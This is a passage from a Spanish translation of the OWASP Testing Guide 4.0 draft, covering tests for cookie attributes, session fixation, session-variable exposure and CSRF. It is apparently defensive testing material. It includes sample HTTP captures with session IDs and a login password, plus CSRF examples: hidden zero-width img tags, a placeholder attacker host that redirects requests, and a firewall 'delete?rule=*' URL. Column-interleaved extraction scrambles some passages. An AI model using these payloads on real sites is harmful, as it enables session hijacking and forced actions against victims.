comprar y sus datos auxiliares (es decir, precio y cantidad) en el tipo de aplicación de tienda en línea. La importancia del uso seguro de las cookies no puede estar subestimada, especialmente en aplicaciones web dinámicas, que necesitan mantener el estado a través de un protocolo sin estado como HTTP. Para entender la importancia de las cookies, es imprescindible entender para qué se usan principalmente. Dentro de las funciones primarias se encuentran, generalmente, las de ser utilizadas como una autorización de sesión y ficha de autenticación o como un contenedor de datos temporales. Así, si un atacante pudiera adquirir una ficha de sesión (por ejemplo, mediante la explotación de una vulnerabilidad en un script de sitios cruzados o por olfatear una sesión no encriptada), entonces podría utilizar esta cookie para secuestrar una sesión válida.
Además, las cookies se establecen para mantener el estado entre varias solicitudes. Dado que HTTP no tiene estado, el servidor no puede determinar si una solicitud que recibe es parte de una sesión actual o el comienzo de una nueva sesión sin ningún tipo de identificador. Este identificador es muy comúnmente una cookie, aunque también son posibles otros métodos. Hay muchos tipos diferentes de aplicaciones que necesitan hacer un seguimiento del estado de la sesión a través de múltiples solicitudes. La primera que viene a la mente es una tienda online.
Mientras un usuario añade varios elementos a un carro de compras, estos datos deben conservarse en las solicitudes posteriores a la aplicación. Las cookies son muy utilizadas para esta tarea y son configuradas por la aplicación utilizando la directiva Set-Cookie en la respuesta HTTP de la aplicación y está generalmente en un formato name=value (si las cookies se encuentran activadas y si son compatibles, como es el caso para todos los navegadores modernos). Una vez que una aplicación le ha dicho al navegador que utilice una cookie determinada, el navegador enviará esta cookie en cada solicitud subsiguiente. Una cookie puede contener datos tales como los elementos de un carro de compras en línea, el precio de estos artículos, la cantidad de estos artículos, información personal, identificador de usuarios, etc.
Debido a la naturaleza sensible de la información dentro de las cookies, normalmente son codificadas o encriptadas en un intento de proteger la información que contienen. A menudo, múltiples cookies pueden ser configuradas (separadas por un punto y coma) para las solicitudes subsiguientes. Por ejemplo, en el caso de una tienda online, una nueva cookie podría establecerse al momento que el usuario agrega varios elementos al carro de compras.
Además, normalmente habrá una cookie de autenticación (ficha de sesión como se indica arriba) una vez que el usuario se conecta y múltiples otras cookies que se utilizan para identificar los elementos que el usuario desea
Una vez que el evaluador tiene una comprensión de cómo se establecen las cookies, cuándo se configuran, para qué se utilizan, por qué se utilizan y su importancia, debería echar un vistazo a qué atributos se pueden establecer en una cookie y cómo comprobar si son seguras. La siguiente es una lista de los atributos que se pueden establecer para cada cookie y lo que significan. La siguiente sección se centrará en cómo probar para cada atributo.
• Segura - este atributo indica al navegador que sólo envíe la cookie si la solicitud se remite mediante un canal seguro como HTTPS. Esto ayudará a proteger el envio de la cookie por solicitudes no encriptadas. Si se puede acceder a la aplicación a través de HTTP y HTTPS, entonces existe la posibilidad de que la cookie pueda mandarse en texto limpio. • HttpOnly - este atributo se utiliza para ayudar a prevenir ataques como crosssite scripting, ya que no permite que puedan acceder a la cookie a través de un script del lado del cliente como JavaScript. Tenga en cuenta que no todos los navegadores admiten esta funcionalidad. • Dominio - este atributo se utiliza para comparar contra el dominio del servidor en el que se solicita la dirección URL. Si el dominio coincide o si es un subdominio, entonces el atributo de ruta de acceso se comprobará a continuación.
Note que sólo los hosts dentro del dominio especificado pueden establecer una cookie para ese dominio. También note que el atributo del dominio no puede ser un dominio de nivel superior (como .gov o .com) para evitar que los servidores configuren arbitrariamente cookies para otro dominio. Si no se establece el atributo de dominio, el nombre del servidor host que genera la cookie se utiliza como el valor por defecto del dominio.
Por ejemplo, si se configura una cookie mediante una aplicación en app.mydomain.com sin ningún conjunto de atributos de dominio, la cookie será reenviada, para todas las solicitudes posteriores de app.mydomain.com y sus subdominios (por ejemplo, hacker.app.mydomain.com), pero no a otherapp.mydomain.com. Si un desarrollador desea liberar esta restricción, entonces puede establecer el atributo de dominio a midominio.com. En este caso la cookie sería enviada a todas las peticiones de app.mydomain.com y sus subdominios, como hacker.app.mydomain.com e incluso bank.mydomain.com.
Si hubiera un servidor vulnerable en un subdominio (por ejemplo, otherapp.mydomain.com) y el atributo del dominio se ha establecido muy
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 133
Guia de pruebas 4.0 "Borrador"
ligeramente (por ejemplo midominio.com), entonces el servidor vulnerable podría ser utilizado para cosechar las cookies (como las fichas de sesión).
• Ruta (path) - Además del dominio, la ruta de la URL en la que la cookie es válida puede especificarse. Si coincide el dominio y la ruta, la cookie se enviará en la solicitud. Al igual que con el atributo de dominio, si se establece el atributo de ruta de acceso muy ligeramente, entonces podría dejar a la aplicación vulnerable a los ataques de otras aplicaciones en el mismo servidor. Por ejemplo, si el atributo de la ruta de acceso se establece en la raíz del servidor web "/", entonces se enviarán las cookies de la aplicación para cada aplicación dentro del mismo dominio. • caduca (expires) - este atributo se utiliza para configurar cookies persistentes, puesto que la cookie no caduca hasta que se supera la fecha establecida. Esta cookie persistente se utilizará en esta sesión y en sesiones posteriores hasta que la cookie caduque. Una vez que ha superado la fecha de caducidad, el navegador borrará la cookie. Alternativamente, si no se establece este atributo, entonces la cookie sólo es válida en la sesión actual del navegador y la cookie se eliminará cuando finalice la sesión.
permitiría a un atacante utilizar un servidor vulnerable en el dominio para cosechar la cookie del usuario a través de una vulnerabilidad como XSS. • Atributo de Ruta - Verifique que el atributo de ruta, así como el atributo del dominio, no han sido establecidos muy libremente. Incluso si el atributo del dominio ha sido configurado tan firmemente como es posible, si la ruta de acceso se establece hacia el directorio raíz "/" entonces puede ser vulnerable a aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicación reside en /myapp/, compruebe que la ruta de cookies está ajustada a ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aquí que el ruteador "/" debe ser utilizado después de myapp. Si no se utiliza, el navegador enviará la cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited". • Atributo de Caducidad - Si este atributo se establece en un momento en el futuro, verifique que la cookie no contenga ninguna información sensible. Por ejemplo, si una cookie se establece en “; expires=Sun, 31-Jul-2016 13:45:29 GMT” y actualmente es 31 de julio de 2014, entonces el evaluador debe inspeccionar la cookie. Si la cookie es una ficha de sesión que se almacena en el disco duro del usuario, entonces un atacante o un usuario local (como un administrador) que tiene acceso a esta cookie puede acceder a la aplicación reenviando esta ficha hasta que pase la fecha de caducidad.
Herramientas Intercepting Proxy: Cómo probar • OWASP Zed Attack Proxy Project Prueba de Caja Negra Probar las vulnerabilidades de los atributos de una cookie: Usando un proxy interceptor o un plug-in interceptor de tráfico del navegador, atrape todas las respuestas que una cookie tiene establecidas por la aplicación (use la directiva Set-cookie) y revise la cookie en busca de lo siguiente:
• Atributo seguro - cada vez que una cookie contiene información sensible o es una ficha de sesión, siempre debe ser pasada mediante un túnel encriptado. Por ejemplo, después de iniciar la sesión en una aplicación y haber establecido una ficha de sesión mediante una cookie, verifique si está etiquetada con una bandera de "seguridad";. Si no es así, entonces el navegador estará de acuerdo en pasar a través de un canal sin encriptar, usando HTTP, y esto podría permitir a un atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro. • Atributo HttpOnly - Este atributo debería fijarse siempre, a pesar de que no todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios cruzados, pero elimina algunos vectores de explotación. Verifique si la etiqueta "HttpOnly" ha sido fijada. • Atributo del Dominio - Verifique que el dominio no ha sido establecido muy libremente. Como se señaló anteriormente, sólo debe establecerse para el servidor que necesita recibir la cookie. Por ejemplo, si la aplicación reside en el servidor app.mysite.com, entonces debe establecerse en ";domain=app.mysite.com"y no en ";domain=.mysite.com" ya que esto le
Browser Plug-in: • “TamperIE” for Internet Explorer: bayden.com • Adam Judson: “Tamper Data” for Firefox: addons.mozilla.org
Referencias Libros Blancos • RFC 2965 - HTTP State Management Mechanism: tools.ietf.org • RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org • The important “expires” attribute of Set-Cookie http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html • HttpOnly Session ID in URL and Page http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
Body
Pruebas de Fijación de Sesión (OTG-SESS-003)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 134
Guia de pruebas 4.0 "Borrador"
Breve resumen Cuando una aplicación no renueva su(s) cookie(s) de sesión después de una autenticación exitosa, podría ser posible encontrar una vulnerabilidad de fijación de sesión y forzar a un usuario a utilizar una cookie conocida por el atacante. En ese caso, un atacante podría robar la sesión del usuario (secuestro de sesión).
Él obtendrá la siguente respuesta
HTTP/1.1 200 OK Date: Wed, 14 Aug 2008 08:45:11 GMT Server: IBM_HTTP_Server Set-Cookie: Path=/; secure
JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Las vulnerabilidades de fijación de sesión ocurren cuando: Cache-Control: no-cache=”set-cookie,set-cookie2” Expires: Thu, 01 Dec 1994 16:00:00 GMT • Una aplicación web autentica a un usuario sin invalidar primero el ID de sesión existente, de tal modo que continúa usando el identificador de sesión ya asociado con el usuario. • Un atacante es capaz de forzar un Identificador de sesión conocido sobre un usuario para que, una vez que el usuario se autentica, el atacante tenga acceso a la sesión autenticada.
En una explotación de vulnerabilidades genéricas de fijación de sesión, un atacante crea una nueva sesión en una aplicación web y registra el identificador de sesión asociado. El atacante, entonces, hace que la víctima se autentique en el servidor utilizando el mismo identificador de sesión, lo que da al atacante acceso a la cuenta del usuario a través de la sesión activa.
Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=Cp1254
La aplicación fija un nuevo identificador de sesión JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.
A continuación, si el evaluador se autentica con éxito a la aplicación con los siguientes POST HTTPS:
Además, el problema descrito anteriormente es difícil para los sitios que emiten un identificador de sesión sobre HTTP y luego redireccionan al usuario a un formulario de inicio de sesión en HTTPS. Si el identificador de sesión no es regenerado tras la autenticación, el atacante puede husmear y robar el identificador y luego usarlo para secuestrar la sesión.
Cómo probar Pruebas de Caja Negra Probar las vulnerabilidades de fijación de sesión: El primer paso es hacer una solicitud al sitio a ser probado (ejemplo www.example.com). Si el evaluador solicita lo siguiente:
GET www.example.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 135
Guia de pruebas 4.0 "Borrador"
POST https://www.example.com/authentication.php HTTP/1.1
HTTP/1.1 200 OK
Host: www.example.com
Date: Thu, 14 Aug 2008 14:52:58 GMT
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Server: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5
Content-language: en Cache-Control: private, must-revalidate, max-age=0
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 X-Content-Encoding: gzip Accept-Encoding: gzip,deflate
Content-length: 4090 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Keep-Alive: 300 Content-Type: text/html; charset=UTF-8 Connection: keep-alive ... Referer: http://www.example.com
HTML data Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 Content-Type: application/x-www-form-urlencoded Content-length: 57
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Como ninguna cookie nueva ha sido emitida tras una autenticación exitosa, el evaluador sabe que es posible realizar un secuestro de sesión.
Resultado esperado: El evaluador puede enviar un identificador de sesión válido a un usuario (posiblemente usando un truco de ingeniería social), esperar a que él se autentique y verificar posteriormente que los privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Pruebas de Caja Gris Hable con los desarrolladores y entienda si se ha implementado una renovación de ficha de sesión después de una autenticación exitosa de los usuarios.
Resultado esperado: La aplicación debe siempre invalidar el identificador de sesión existente, antes de autenticar a un usuario; y si la autenticación tiene éxito, proporcionar otro identificador de sesión.
Herramientas • Hijack - a numeric session hijacking tool: yehg.net • OWASP WebScarab: owasp.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 136
Guia de pruebas 4.0 "Borrador"
Para probar las vulnerabilidades de encriptación y reutilización de las fichas de sesión: Referencias Libros Blancos • Session Fixation: owasp.org • ACROS Security: acrossecurity.com
La protección contra intrusos es proporcionada a menudo por una encriptación SSL, pero puede incorporar otros túneles o encriptados. Cabe señalar que la encriptación o hash criptográfico del identificador de sesión debe considerarse por separado del encriptado del transporte, ya que es el identificador de sesión en sí el que se está protegiendo, no los datos que pueden ser representados por él.
• Chris Shiflett: shiflett.org
Pruebas para determinar la Exposición de las Variables de Sesión (OTGSESS-004) Resumen Las fichas de sesión(Cookie, SessionID, Hidden Field), si se exponen, generalmente permitirán a un atacante hacerse pasar por una víctima y acceder a la aplicación ilegítimamente. Es importante que estén protegidas de intrusos en todo momento, especialmente mientras están en tránsito entre el navegador del cliente y los servidores de las aplicaciones.
Esta información se refiere a cómo la seguridad en el transporte se aplica a la transferencia de datos sensibles del identificador de sesión en general, y puede ser más estricta que las políticas de transporte y almacenamiento en caché de los datos atendidos por el sitio.
Si un atacante puede presentar un identificador de sesión a la aplicación para tener acceso, entonces esta debe estar protegida durante el tránsito para mitigar ese riesgo. Por lo tanto, debería asegurarse que la encriptación sea tanto la norma como el que sea reforzada para cualquier petición o respuesta en la que se transfiera el identificador de sesión, sin importar el mecanismo utilizado (por ejemplo, un campo oculto de un formulario). Debe realizar controles simples como la sustitución de https:// con http:// durante la interacción con la aplicación, junto con la modificación de los formularios publicados para determinar si se implementa la segregación adecuada entre los sitios seguros y no seguros.
Tenga en cuenta también que si hay un elemento en el sitio donde se realiza un seguimiento del usuario a traves de un identificador de sesión, pero la seguridad no está presente (por ejemplo, observando qué documentos públicos descarga un usuario registrado), es esencial que se utilice un identificador de sesión diferente. El identificador de sesión, por lo tanto, debe ser monitoreado mientras el usuaio cambia entre elementos seguros y no seguros para garantizar que se utiliza uno diferente.
Utilizando un proxy interceptor, es posible conocer lo siguiente sobre cada petición y respuesta: Resultado esperado: • Protocol used (e.g., HTTP vs. HTTPS)
Cada vez que la autenticación es exitosa, el usuario debe esperar recibir:
• HTTP Headers • Message Body (e.g., POST or page content)
• Una ficha de sesión diferente • Una ficha enviada a traves de un canal encriptado cada vez que se hace una solicitud HTTP
Cada vez que los datos del identificador de sesión pasan entre el cliente y el servidor, el protocolo, caché, las directivas y cuerpo de privacidad deben ser revisadas. La seguridad del transporte se refiere a la circulación del identificador de sesión por peticiones GET o POST, cuerpo de los mensajes u otros medios, mediante solicitudes HTTP válidas.
Cómo probar
Para probar las vulnerabilidades de proxys y caché Los proxys también debe considerarse al revisar la seguridad de las aplicaciones. En muchos casos, los clientes accederán a la aplicación a través del ISPcorporativo y los proxies o gateways conscientes del protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 137
Guia de pruebas 4.0 "Borrador"
directivas para controlar el comportamiento de proxies aguas abajo, y la correcta aplicación de estas directivas también debe ser evaluada. Resultado esperado:
En general, el identificador de sesión nunca debe ser enviado mediante un transporte no encriptado y no debe almacenarse en caché. La aplicación debe ser examinada para asegurarse que las comunicaciones encriptadas sean tanto la norma como el que sean reforzadas para cualquier transferencia de identificadores de sesión. Además, cada vez que se pasa el identificador de sesión, las directivas deben estar colocadas para evitar su almacenamiento en caché por cachés intermedios e incluso locales.
Todo código del lado del servidor que recibe datos de solicitudes POST debe ser analizado para asegurarse que no acepte los datos si se envía como una solicitud GET. Por ejemplo, considere la siguiente petición POST, generada por una página de registro.
POST https://owaspapp.com/login.asp HTTP/1.1 Host: owaspapp.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicación debe configurarse también para asegurar los datos en caché, tanto en HTTP/1.0 y HTTP/1.1 – RFC 2616 discute los controles adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de mecanismos de control de caché. Control-Cache: no-cache indica que un proxy no debe volver a utilizar los datos.
Accept: */* Accept-Language: en-us, en Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66 Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto permite a un proxy no compartido acceder a los datos del caché. En el caso de café net u otros sistemas compartidos, esto presenta un riesgo evidente. Incluso con estaciones de trabajo monousuario, el identificador de sesión almacenada en caché puede quedar expuesto si el sistema de archivos se encuentra comprometido o si se utilizan cadenas de tiendas. Los Cachés de HTTP/1.0 no reconocen la directiva de Cache-Control: nocache.
Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 34
Login=Username&password=Password&SessionID=12345678 Resultado esperado: Las directivas "Expires: 0" y Cache-Control: max-age = 0 pueden usarse para asegurar posteriormente que los cachés no expongan los datos. Cada solicitud y respuesta que pasa datos del identificador de sesión deben ser examinadas para asegurar que las directivas de caché adecuadas están siendo utilizadas.
Si login.asp está mal implementado, es posible iniciar una sesión con la siguiente URL: http://owaspapp.com/login.asp?Login=Username&password=Password&Sessio nID=12345678
Para probar Las vulnerabilidades De GET Y POST: En general, las solicitudes GET no deberían utilizarse, ya que el identificador de sesión puede quedar expuesto en el registro del Proxy o del Firewall. También son más fácilmente manipulables que otros tipos de transporte, aunque debe señalarse que cualquier mecanismo puede ser manipulado por el cliente con las herramientas adecuadas. Además, los ataques de scripts de sitios cruzados (XSS) son explotados más fácilmente mediante el envío de un enlace especialmente construido para la víctima. Esto es mucho menos probable si los datos se envían desde el cliente como POST.
Se pueden identificar los scripts potencialmente inseguros del servidor revisando cada POST de esta manera.
Para probar las vulnerabilidades de transporte: Toda la interacción entre el cliente y la aplicación debe probar, al menos, los siguientes criterios.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 138
Guia de pruebas 4.0 "Borrador"
• ¿Cómo se transfieren los identificadores de sesión, por ejemplo, GET, POST, Form Field(incluyendo campos ocultos)?
[3] La gestión de sesión de la aplicación basada únicamente en la información que es conocida por el navegador;
• ¿Son los identificadores de sesión enviados siempre a través de transporte encriptado por defecto?
[4] La existencia de etiquetas HTML cuya presencia permite un acceso inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
• ¿Es posible manipular la aplicación para enviar los identificadores de sesión sin encriptar?, ¿por ejemplo, cambiando de HTTPS a HTTP? • ¿Qué directivas de control de caché se aplican a las solicitudes o respuestas que pasan identificadores de sesión? • ¿Están siempre presentes estas directivas? Si no es así, ¿dónde están estas excepciones?
Los puntos 1, 2 y 3 son esenciales para que la vulnerabilidad esté presente, mientras que el punto 4 es un accesorio y facilita la explotación real, pero no es estrictamente necesario.
• ¿Incorporan las solicitudes GET al identificador de sesión utilizado? • ¿Si se utiliza un POST, puede ser intercambiado con GET?
Referencias Libros Blancos • RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli]: ietf.org • RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org
Pruebas de un CSRF (OTG-SESS-005)
Punto 1) Los navegadores envían automáticamente información que se utiliza para identificar una sesión de usuario. Supongamos que el sitio es un sitio que aloja una aplicación web, y el usuario víctima acaba de autenticarse sólo en el sitio. En respuesta, el sitio envía a la víctima una cookie que identifica las peticiones enviadas por la víctima como pertenecientes a la sesión autenticada por él o ella. Básicamente, una vez que el navegador recibe la cookie configurada por el sitio, automáticamente la enviará junto con cualquier otra solicitud dirigida al sitio.
Punto 2) Si la aplicación no hace uso de la información relacionada con la sesión en las URL, entonces significa que las URL de la aplicación, sus parámetros y valores legítimos pueden identificarse (ya sea por el análisis de código o accediendo a la aplicación y tomando nota de los formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen CSRF es un ataque que obliga a un usuario a ejecutar acciones no deseadas en una aplicación web en la que actualmente él o ella se encuentra autenticado(a). Con un poco de ayuda de la ingeniería social (como enviar un enlace a través de un correo electrónico o chat), un atacante puede forzar a los usuarios de una aplicación web a ejecutar acciones escogidas por el atacante.
Un ataque CSRF exitoso puede comprometer los datos del usuario final y la operación cuando se dirige a un usuario normal. Si la cuenta de administrador es el usuario final objetivo , un ataque CSRF puede comprometer a toda la aplicación de web.
CSRF se basa en lo siguiente:
Punto 3) "Conocida por el navegador" se refiere a información como cookies o información de autenticación basada en http (como autenticación básica y no basada en los formularios de autenticación), que son almacenadas por el navegador y posteriormente enviadas a cada petición dirigida hacia un área de aplicación, solicitando la autenticación. Las vulnerabilidades discutidas a continuación se refieren a las aplicaciones que dependen totalmente de este tipo de información para identificar una sesión de usuario.
Supongamos, para simplificar, que para referirse a las direcciones URL accesibles mediante peticiones GET (aunque la discusión se aplica también a las peticiones POST). Si la víctima ya se ha autenticado, el envío de otra petición causa que la cookie se despache automáticamente con ésta (vea la imagen, donde el usuario accede a una aplicación en www.example.com).
[1] El comportamiento del navegador web con respecto al manejo de información relacionada con la sesión como las cookies y la información de autenticación http; [2] El conocimiento del atacante sobre URLs válidos de aplicaciones web;
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 139
Guia de pruebas 4.0 "Borrador"
<html><body>
...
La petición GET puede originarse de varias maneras diferentes:
• por el usuario, que está utilizando la aplicación web misma;
<img src=”https://www.company.example/action” height=”0”>
width=”0”
...
• por el usuario, que escribe la URL directamente en el navegador; • por el usuario, que sigue un enlace (externo a la aplicación) apuntando a la URL.
Estas invocaciones son indistinguibles por la aplicación. En particular, el tercer punto puede ser muy peligroso. Hay una serie de técnicas (y vulnerabilidades) que pueden encubrir las propiedades reales de un enlace. El enlace puede incrustarse en un mensaje de correo electrónico, o aparecer en un sitio web malintencionado donde el usuario es engañado, es decir, el enlace aparece en el contenido alojado en otra parte (otro sitio web, un mensaje de correo electrónico HTML, etc.) y apunta a un recurso de la aplicación. Si el usuario hace clic en el enlace, puesto que él ya estaba autenticado por la aplicación web en el sitio, el navegador enviará una petición GET a la aplicación web, acompañada de la información de autenticación (la cookie de identificación de sesión). Esto resulta en una operación válida, realizada en la aplicación web que probablemente no es lo que el usuario esperaba que ocurra. Piense en un enlace malicioso que realiza una transferencia de fondos en una aplicación web bancaria para apreciar las implicaciones.
Mediante el uso de una etiqueta como img, tal como se especificó anteriormente en el punto 4, ni siquiera es necesario que el usuario siga un enlace concreto. Supongamos que el atacante envía al usuario un correo electrónico que le invita a visitar una URL de una página que contiene el siguiente código HTML (sobresimplificado):
</body></html>
Lo que hará el evaluador cuando presente esta página es intentar mostrar también el carácter zero-width especificado (es decir, invisible). Esto resulta en una petición que se envía automáticamente a la aplicación web alojada en el sitio. No importa que la imagen del URL no haga referencia a una imagen adecuada; su presencia activará la solicitud especificada en el campo SRC de todos modos. Esto sucede siempre que la descarga de imagenes no esté deshabilitada en los navegadores, que es una configuración típica, ya que desactivar las imágenes significaría paralizar la mayoría de las aplicaciones web inutilizándolas.
El problema aquí es una consecuencia de los siguientes hechos:
• Hay etiquetas HTML cuya aparición en una página resulta en una ejecución de una solicitud automática de la http (siendo una de éstas img); • el navegador no tiene manera de saber que el recurso referenciado por img no es realmente una imagen y que de hecho no es legítimo; • la carga de la imagen sucede independientemente de la ubicación de la supuesta imagen, es decir, el formulario y la imagen en sí no necesitan estar ubicados en el mismo host, ni siquiera en el mismo dominio. Aunque ésta es una característica muy útil, hace difícil compartimentar aplicaciones.
Es un hecho que el contenido HTML no relacionado con la aplicación web puede referirse a los componentes de la aplicación, y que el navegador automáticamente crea una solicitud válida para la aplicación, que permite este tipo de ataques. Como no hay estándares definidos en este momento, no hay manera de prohibir este comportamiento a menos que se haga imposible que el atacante pueda especificar solicitudes de direcciones URL válidas. Esto significa que las URL válidas deben incluir información relacionada a la sesión del usuario, que supuestamente no pueda ser
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 140
Guia de pruebas 4.0 "Borrador"
conocida por el atacante y, por lo tanto, sea imposible la identificación de esas URL.
El problema podría ser aún peor ya que, en ambientes integrados de correo y navegador, simplemente mostrar un mensaje de correo electrónico que contiene la imagen resultaría en la ejecución de la solicitud hacia la aplicación web con la cookie del navegador asociado.
Las cosas pueden ofuscarse más mediante la referencia de la imagen aparentemente válida de la URL como:
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>
donde [atacante] es un sitio controlado por el atacante, utilizando un mecanismo de redirección en:
http://[attacker]/picture.gif to http://[thirdparty]/action.
Las cookies no son el único ejemplo en este tipo de vulnerabilidad. Las aplicaciones web cuya información de sesión se suministra totalmente mediante el navegador son vulnerables también. Esto incluye aplicaciones que se apoyan solamente en mecanismos de autenticación HTTP, ya que la información de autenticación es conocida por el navegador y se envía automáticamente en cada petición. Esto NO incluye la autenticación basada en formularios, que ocurre sólo una vez y genera algún tipo de información relacionada con la sesión (por supuesto, en este caso, dicha información se expresa simplemente como una cookie y podemos caer en uno de los casos anteriores).
configuración si el usuario introduce '*' (una característica peligrosa, pero que hará que el ejemplo sea más interesante). La página de eliminación se muestra a continuación. Supongamos que el formulario – por simplicidad – emite una solicitud GET, que tendrá la forma:
https://[target]/fwmgt/delete?rule=1
(para eliminar la regla número uno)
https://[target]/fwmgt/delete?rule=*
(para eliminar todas las reglas).
El ejemplo es deliberadamente ingenuo, pero muestra de manera sencilla los peligros del CSRF.
Por lo tanto, si entramos el valor '*' y presiona el botón Supr, se envía la siguiente solicitud GET:
https://www.company.example/fwmgt/delete?rule=*
Escenario de ejemplo Supongamos que la víctima ha iniciado la sesión en una aplicación web de gestión de firewall. Para iniciar la sesión, un usuario tiene que autenticarse por sí mismo y la información de sesión se almacena en una cookie.
Supongamos que la aplicación web de gestión de firewall tiene una función que permite al usuario autenticado eliminar una regla especificada por su número posicional, o todas las reglas de la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 141
Guia de pruebas 4.0 "Borrador"
con el efecto de eliminar todas las reglas del firewall (y terminar en una situación posiblemente inconveniente). Cómo probar Pruebas de Caja Negra Para una prueba de Caja Negra, el evaluador debe conocer las direcciones URL en el área restringida (autenticada). Si poseen credenciales válidas, pueden asumir ambos roles – el de agresor y el de víctima. En este caso, los evaluadores saben las URL a probar solo con hojear alrededor de la aplicación. Ahora, este no es el único escenario posible. El usuario podría haber logrado los mismos resultados enviando manualmente la URL
https://[target]/fwmgt/delete?rule=*
o siguiendo un enlace directamente o a través de una redirección a la URL anterior, O, nuevamente, accediendo a un HTML con una etiqueta img integrada que apunte a la misma URL.
En todos estos casos, si el usuario tiene iniciada una sesión en la aplicación de administración del firewall, la petición tendrá éxito y modificará la configuración del firewall. Uno puede imaginar los ataques contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas automáticas, transferencias de dinero, órdenes, cambiar la configuración de componentes de software crítico, etc.
Una cosa interesante es que estas vulnerabilidades pueden practicarse detrás de un firewall; es decir, es suficiente que el enlace atacado sea accesible por parte de la víctima (no directamente por el atacante). En particular, puede ser cualquier servidor de web de Intranet; por ejemplo, la estación de administración del firewall mencionado anteriormente, que es poco probable que sea expuesto a Internet. Imagine un ataque CSRF dirigido a una aplicación de monitoreo de una planta de energía nuclear. ¿Suena poco probable? Puede ser, pero es una posibilidad.
Las aplicaciones autovulnerables, es decir, aplicaciones que se utilizan tanto como vector de ataque como destino (por ejemplo, aplicaciones de correo web), empeoran las cosas. Si una aplicación es vulnerable, el usuario está obviamente registrado cuando lee un mensaje que contiene un ataque CSRF, que puede apuntar a la aplicación de correo web y tenerla realizando acciones como borrar mensajes, enviar mensajes que aparecen como enviados por el usuario, etc.
De lo contrario, si los evaluadores no tienen credenciales válidas disponibles, tienen que organizar un ataque real y así inducir a un usuario legitimamente registrado a seguir hacia el enlace apropiado. Esto puede implicar un nivel substancial de ingeniería social.
De cualquier manera, un caso de prueba se puede construir de la siguiente manera: • Asumiendo que 'u' sea la URL a probar; por ejemplo, u = http://www.example.com/action • Construya una página html que contenga la solicitud http que hace referencia a la URL 'u' (especificando todos los parámetros relevantes; en el caso de una solicitud http GET esto es directo, mientras que para una solicitud POST necesita recurrir a algunos Javascript); • Asegúrese de que el usuario se encuentra registrado en la aplicación; • Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre ingeniería social si usted no puede suplantar al usuario); • Observe el resultado, es decir, compruebe si el servidor web ejecuta la solicitud.
Pruebas de Caja Gris Audite la aplicación para determinar si su gestión de sesión es vulnerable. Si la gestión de sesiones se basa únicamente en los valores del lado del cliente (información disponible para el navegador), entonces la aplicación es vulnerable. "Valores del lado del cliente" significa cookies y credenciales de autenticación de HTTP (autenticación básica y otras formas de autenticación HTTP, autenticación no basada en formularios, que es una autenticación a nivel de aplicación). Para que una aplicación no sea vulnerable, debe incluir información relacionada con la sesión en la URL, en una forma no identificable o impredecible para el usuario ([3] utiliza el término secreto para hacer referencia a este dato).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 142
Guia de pruebas 4.0 "Borrador"
Los recursos accesibles a través de peticiones HTTP GET son fácilmente vulnerables, aunque las peticiones POST se pueden automatizar vía Javascript y son vulnerables también, por lo tanto, el uso exclusivo de solicitudes POST no es suficiente para corregir la aparición de vulnerabilidades CSRF.
Herramientas
• No utilice el mismo navegador para acceder a aplicaciones sensibles y para navegar libremente por Internet. Si es necesario, haga ambas cosas en la misma máquina y con distintos navegadores.
Tanto el correo/navegador como los entornos de lector/navegador integrados en HTML plantean riesgos adicionales, puesto que simplemente ver un mensaje de correo o un mensaje de noticias puede conducir a la ejecución de un ataque.
• OWASP ZAP: owasp.org • CSRF Tester: owasp.org Desarrolladores • Cross Site Requester: owasp.org • Cross Frame Loader: owasp.org • Pinata-csrf-tool: code.google.com
